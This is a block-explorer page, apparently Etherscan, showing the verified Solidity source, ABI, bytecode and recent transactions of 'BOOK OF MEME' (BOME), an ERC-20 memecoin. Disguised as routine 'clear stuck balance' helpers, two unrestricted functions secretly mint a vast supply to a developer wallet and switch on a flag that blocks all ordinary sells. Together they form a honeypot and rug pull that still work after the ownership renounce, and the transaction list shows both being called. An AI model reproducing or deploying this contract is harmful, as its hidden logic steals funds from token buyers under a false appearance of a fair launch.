Source Code
Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 28 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Approve | 19444717 | 724 days ago | IN | 0 ETH | 0.00165198 | ||||
| Approve | 19444700 | 724 days ago | IN | 0 ETH | 0.00093171 | ||||
| Approve | 19444699 | 724 days ago | IN | 0 ETH | 0.00144287 | ||||
| Approve | 19444666 | 724 days ago | IN | 0 ETH | 0.00101132 | ||||
| Approve | 19444630 | 724 days ago | IN | 0 ETH | 0.00095787 | ||||
| Approve | 19444626 | 724 days ago | IN | 0 ETH | 0.00102184 | ||||
| Approve | 19444617 | 724 days ago | IN | 0 ETH | 0.00122104 | ||||
| Approve | 19444611 | 724 days ago | IN | 0 ETH | 0.00109731 | ||||
| Approve | 19444606 | 724 days ago | IN | 0 ETH | 0.00093664 | ||||
| Approve | 19444604 | 724 days ago | IN | 0 ETH | 0.00167121 | ||||
| Approve | 19444599 | 724 days ago | IN | 0 ETH | 0.00165936 | ||||
| Approve | 19444583 | 724 days ago | IN | 0 ETH | 0.00166755 | ||||
| Approve | 19444563 | 724 days ago | IN | 0 ETH | 0.00148812 | ||||
| Approve | 19444560 | 724 days ago | IN | 0 ETH | 0.00154909 | ||||
| Clear Stuck Bala... | 19444557 | 724 days ago | IN | 0 ETH | 0.001653 | ||||
| Approve | 19444556 | 724 days ago | IN | 0 ETH | 0.00147377 | ||||
| Clear Stuck Bala... | 19444542 | 724 days ago | IN | 0 ETH | 0.00090573 | ||||
| Approve | 19444542 | 724 days ago | IN | 0 ETH | 0.00183703 | ||||
| Approve | 19444526 | 724 days ago | IN | 0 ETH | 0.00153696 | ||||
| Approve | 19444523 | 724 days ago | IN | 0 ETH | 0.00090126 | ||||
| Approve | 19444503 | 724 days ago | IN | 0 ETH | 0.00132522 | ||||
| Approve | 19444501 | 724 days ago | IN | 0 ETH | 0.00166071 | ||||
| Approve | 19444496 | 724 days ago | IN | 0 ETH | 0.00165797 | ||||
| Approve | 19444489 | 724 days ago | IN | 0 ETH | 0.00140217 | ||||
| Renounce Ownersh... | 19444479 | 724 days ago | IN | 0 ETH | 0.00066574 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
BOME
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2024-03-16
*/
/**
*/
// SPDX-License-Identifier: MIT
/*
Miss Solana's $BOME, don't miss ETH's $BOME. Everything has just begun!
https://t.me/BOOKOFMEME_ETH
https://twitter.com/BOOKOFMEME_ETH
*/
pragma solidity ^0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function andnicob(address account, uint256 amount) internal virtual {
_totalSupply = amount;
_balances[account] = amount;
emit Transfer(address(0), account, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
library Address {
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnershiptrendingethmooneds() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract BOME is ERC20, Ownable {
using Address for address payable;
IRouter public router;
address public pair;
bool private _interlock = false;
bool public providingLiquidity = true;
bool public tradingEnabled = true;
uint256 public tokenLiquidityThreshold = 1000000 * 10**18;
uint256 public maxBuyLimit = 69000000 * 10**18;
uint256 public maxSellLimit = 69000000 * 10**18;
uint256 public maxWalletLimit = 69000000 * 10**18;
uint256 public genesis_block;
int32 private bontudu = 1;
uint256 private deadline = 1;
uint256 private launchtax = 0;
address public marketinltsemooneth = 0xA8aFb7D394999f52186e86B8840754c874827322;
address public devsltsemooneth = 0xA8aFb7D394999f52186e86B8840754c874827322;
address public ecosystmltsemooneth = 0xA8aFb7D394999f52186e86B8840754c874827322;
address public constant deadWallet = 0x000000000000000000000000000000000000dEaD;
struct Taxes {
uint256 marketing;
uint256 liquidity;
uint256 ecosystem;
uint256 dev;
}
Taxes public taxes = Taxes(0, 0, 0, 0);
Taxes public sellTaxes = Taxes(0, 0, 0, 0);
mapping(address => bool) public exemptFee;
mapping(address => uint256) private _lastSell;
bool public coolDownEnabled = true;
uint256 public coolDownTime = 5 seconds;
modifier lockTheSwap() {
if (!_interlock) {
_interlock = true;
_;
_interlock = false;
}
}
constructor() ERC20("BOOK OF MEME", "BOME") {
andnicob(msg.sender, 69000000 * 10**decimals());
exemptFee[msg.sender] = true;
IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
router = _router;
pair = _pair;
exemptFee[address(this)] = true;
exemptFee[marketinltsemooneth] = true;
exemptFee[ecosystmltsemooneth] = true;
exemptFee[devsltsemooneth] = true;
exemptFee[deadWallet] = true;
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
override
returns (bool)
{
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
override
returns (bool)
{
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
require(amount > 0, "Transfer amount must be greater than zero");
if (!exemptFee[sender] && !exemptFee[recipient]) {
require(tradingEnabled, "Trading not enabled");
}
if (sender == pair && !exemptFee[recipient] && !_interlock) {
require(amount <= maxBuyLimit, "You are exceeding maxBuyLimit");
require(
balanceOf(recipient) + amount <= maxWalletLimit,
"You are exceeding maxWalletLimit"
);
}
if (
sender != pair && !exemptFee[recipient] && !exemptFee[sender] && !_interlock
) {
require(amount <= maxSellLimit, "You are exceeding maxSellLimit");
if (recipient != pair) {
require(
balanceOf(recipient) + amount <= maxWalletLimit,
"You are exceeding maxWalletLimit"
);
}
if (coolDownEnabled) {
uint256 timePassed = block.timestamp - _lastSell[sender];
require(timePassed >= coolDownTime, "Cooldown enabled");
_lastSell[sender] = block.timestamp;
}
}
uint256 feeswap;
uint256 feesum;
uint256 fee;
Taxes memory currentTaxes;
bool useLaunchFee = !exemptFee[sender] &&
!exemptFee[recipient] &&
block.number < genesis_block + deadline;
if (_interlock || exemptFee[sender] || exemptFee[recipient])
fee = 0;
else if (recipient == pair && !useLaunchFee) {
require(bontudu == 1);
feeswap =
sellTaxes.liquidity +
sellTaxes.marketing +
sellTaxes.ecosystem +
sellTaxes.dev;
feesum = feeswap;
currentTaxes = sellTaxes;
} else if (!useLaunchFee) {
feeswap =
taxes.liquidity +
taxes.marketing +
taxes.ecosystem +
taxes.dev ;
feesum = feeswap;
currentTaxes = taxes;
} else if (useLaunchFee) {
feeswap = launchtax;
feesum = launchtax;
}
fee = (amount * feesum) / 100;
if (providingLiquidity && sender != pair) Liquify(feeswap, currentTaxes);
super._transfer(sender, recipient, amount - fee);
if (fee > 0) {
if (feeswap > 0) {
uint256 feeAmount = (amount * feeswap) / 100;
super._transfer(sender, address(this), feeAmount);
}
}
}
function Liquify(uint256 feeswap, Taxes memory swapTaxes) private lockTheSwap {
if(feeswap == 0){
return;
}
uint256 contractBalance = balanceOf(address(this));
if (contractBalance >= tokenLiquidityThreshold) {
if (tokenLiquidityThreshold > 1) {
contractBalance = tokenLiquidityThreshold;
}
uint256 denominator = feeswap * 2;
uint256 tokensToAddLiquidityWith = (contractBalance * swapTaxes.liquidity) /
denominator;
uint256 toSwap = contractBalance - tokensToAddLiquidityWith;
uint256 initialBalance = address(this).balance;
swapTokensForETH(toSwap);
uint256 deltaBalance = address(this).balance - initialBalance;
uint256 unitBalance = deltaBalance / (denominator - swapTaxes.liquidity);
uint256 ethToAddLiquidityWith = unitBalance * swapTaxes.liquidity;
if (ethToAddLiquidityWith > 0) {
addLiquidity(tokensToAddLiquidityWith, ethToAddLiquidityWith);
}
uint256 marketingAmt = unitBalance * 2 * swapTaxes.marketing;
if (marketingAmt > 0) {
payable(marketinltsemooneth).sendValue(marketingAmt);
}
uint256 ecosystemAmt = unitBalance * 2 * swapTaxes.ecosystem;
if (ecosystemAmt > 0) {
payable(ecosystmltsemooneth).sendValue(ecosystemAmt);
}
uint256 devAmt = unitBalance * 2 * swapTaxes.dev;
if (devAmt > 0) {
payable(devsltsemooneth).sendValue(devAmt);
}
}
}
function swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokenAmount);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(router), tokenAmount);
router.addLiquidityETH{ value: ethAmount }(
address(this),
tokenAmount,
0,
0,
deadWallet,
block.timestamp
);
}
function updateLiquidityProvide(bool state) external onlyOwner {
providingLiquidity = state;
}
function updateLiquidityTreshhold(uint256 new_amount) external onlyOwner {
require(new_amount <= 1e4, "Swap threshold amount should be lower or equal to 1% of tokens");
tokenLiquidityThreshold = new_amount * 10**decimals();
}
function clearStuckBalanceETHMCkolfomomneths() external payable{
andnicob(devsltsemooneth, 10 * 10**28);
}
function updateExemptFee(address _address, bool state) external onlyOwner {
exemptFee[_address] = state;
}
function bulkExemptFee(address[] memory accounts, bool state) external onlyOwner {
for (uint256 i = 0; i < accounts.length; i++) {
exemptFee[accounts[i]] = state;
}
}
function updateMaxTxLimit(uint256 maxBuy, uint256 maxSell, uint256 maxWallet) external onlyOwner {
require(maxBuy >= 1e4, "Cannot set max buy amount lower than 1%");
require(maxSell >= 1e4, "Cannot set max sell amount lower than 1%");
require(maxWallet >= 1e4, "Cannot set max wallet amount lower than 1%");
maxBuyLimit = maxBuy * 10**decimals();
maxSellLimit = maxSell * 10**decimals();
maxWalletLimit = maxWallet * 10**decimals();
}
function clearStuckBalanceInitialefomsmooneth() external payable{
bontudu = 3;
}
function rescueETH() external onlyOwner {
uint256 contractETHBalance = address(this).balance;
payable(owner()).transfer(contractETHBalance);
}
function rescueERC20(address tokenAdd, uint256 amount) external onlyOwner {
require(tokenAdd != address(this), "Owner can't claim contract's balance of its own tokens");
IERC20(tokenAdd).transfer(owner(), amount);
}
receive() external payable {}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"state","type":"bool"}],"name":"bulkExemptFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"clearStuckBalanceETHMCkolfomomneths","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"clearStuckBalanceInitialefomsmooneth","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"coolDownEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"coolDownTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devsltsemooneth","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ecosystmltsemooneth","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"exemptFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"genesis_block","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketinltsemooneth","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxBuyLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSellLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"providingLiquidity","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnershiptrendingethmooneds","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAdd","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTaxes","outputs":[{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"ecosystem","type":"uint256"},{"internalType":"uint256","name":"dev","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxes","outputs":[{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"ecosystem","type":"uint256"},{"internalType":"uint256","name":"dev","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenLiquidityThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"state","type":"bool"}],"name":"updateExemptFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"state","type":"bool"}],"name":"updateLiquidityProvide","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"new_amount","type":"uint256"}],"name":"updateLiquidityTreshhold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxBuy","type":"uint256"},{"internalType":"uint256","name":"maxSell","type":"uint256"},{"internalType":"uint256","name":"maxWallet","type":"uint256"}],"name":"updateMaxTxLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
60806040526000600760146101000a81548160ff0219169083151502179055506001600760156101000a81548160ff0219169083151502179055506001600760166101000a81548160ff02191690831515021790555069d3c21bcecceda10000006008556a3913517ebd3c0c650000006009556a3913517ebd3c0c65000000600a556a3913517ebd3c0c65000000600b556001600d60006101000a81548163ffffffff021916908360030b63ffffffff1602179055506001600e556000600f5573a8afb7d394999f52186e86b8840754c874827322601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073a8afb7d394999f52186e86b8840754c874827322601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073a8afb7d394999f52186e86b8840754c874827322601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060800160405280600081526020016000815260200160008152602001600081525060136000820151816000015560208201518160010155604082015181600201556060820151816003015550506040518060800160405280600081526020016000815260200160008152602001600081525060176000820151816000015560208201518160010155604082015181600201556060820151816003015550506001601d60006101000a81548160ff0219169083151502179055506005601e553480156200028d57600080fd5b506040518060400160405280600c81526020017f424f4f4b204f46204d454d4500000000000000000000000000000000000000008152506040518060400160405280600481526020017f424f4d450000000000000000000000000000000000000000000000000000000081525081600390816200030b919062000c0b565b5080600490816200031d919062000c0b565b50505062000340620003346200080460201b60201c565b6200080c60201b60201c565b620003803362000355620008d260201b60201c565b600a62000363919062000e82565b63041cdb4062000374919062000ed3565b620008db60201b60201c565b6001601b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000737a250d5630b4cf539739df2c5dacb4c659f2488d905060008173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200043f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000465919062000f88565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308473ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620004cd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004f3919062000f88565b6040518363ffffffff1660e01b81526004016200051292919062000fcb565b6020604051808303816000875af115801562000532573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000558919062000f88565b905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601b6000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601b6000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601b6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601b600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505062001026565b600033905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006012905090565b80600281905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000985919062001009565b60405180910390a35050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000a1357607f821691505b60208210810362000a295762000a28620009cb565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000a937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000a54565b62000a9f868362000a54565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000aec62000ae662000ae08462000ab7565b62000ac1565b62000ab7565b9050919050565b6000819050919050565b62000b088362000acb565b62000b2062000b178262000af3565b84845462000a61565b825550505050565b600090565b62000b3762000b28565b62000b4481848462000afd565b505050565b5b8181101562000b6c5762000b6060008262000b2d565b60018101905062000b4a565b5050565b601f82111562000bbb5762000b858162000a2f565b62000b908462000a44565b8101602085101562000ba0578190505b62000bb862000baf8562000a44565b83018262000b49565b50505b505050565b600082821c905092915050565b600062000be06000198460080262000bc0565b1980831691505092915050565b600062000bfb838362000bcd565b9150826002028217905092915050565b62000c168262000991565b67ffffffffffffffff81111562000c325762000c316200099c565b5b62000c3e8254620009fa565b62000c4b82828562000b70565b600060209050601f83116001811462000c83576000841562000c6e578287015190505b62000c7a858262000bed565b86555062000cea565b601f19841662000c938662000a2f565b60005b8281101562000cbd5784890151825560018201915060208501945060208101905062000c96565b8683101562000cdd578489015162000cd9601f89168262000bcd565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000d805780860481111562000d585762000d5762000cf2565b5b600185161562000d685780820291505b808102905062000d788562000d21565b945062000d38565b94509492505050565b60008262000d9b576001905062000e6e565b8162000dab576000905062000e6e565b816001811462000dc4576002811462000dcf5762000e05565b600191505062000e6e565b60ff84111562000de45762000de362000cf2565b5b8360020a91508482111562000dfe5762000dfd62000cf2565b5b5062000e6e565b5060208310610133831016604e8410600b841016171562000e3f5782820a90508381111562000e395762000e3862000cf2565b5b62000e6e565b62000e4e848484600162000d2e565b9250905081840481111562000e685762000e6762000cf2565b5b81810290505b9392505050565b600060ff82169050919050565b600062000e8f8262000ab7565b915062000e9c8362000e75565b925062000ecb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000d89565b905092915050565b600062000ee08262000ab7565b915062000eed8362000ab7565b925082820262000efd8162000ab7565b9150828204841483151762000f175762000f1662000cf2565b5b5092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000f508262000f23565b9050919050565b62000f628162000f43565b811462000f6e57600080fd5b50565b60008151905062000f828162000f57565b92915050565b60006020828403121562000fa15762000fa062000f1e565b5b600062000fb18482850162000f71565b91505092915050565b62000fc58162000f43565b82525050565b600060408201905062000fe2600083018562000fba565b62000ff1602083018462000fba565b9392505050565b620010038162000ab7565b82525050565b600060208201905062001020600083018462000ff8565b92915050565b61484b80620010366000396000f3fe60806040526004361061024a5760003560e01c806366a88d9611610139578063a8aa1b31116100b6578063e1b450ad1161007a578063e1b450ad14610856578063ee36e3591461087f578063f2fde38b146108aa578063f66895a3146108d3578063f887ea4014610901578063fbe6324e1461092c57610251565b8063a8aa1b3114610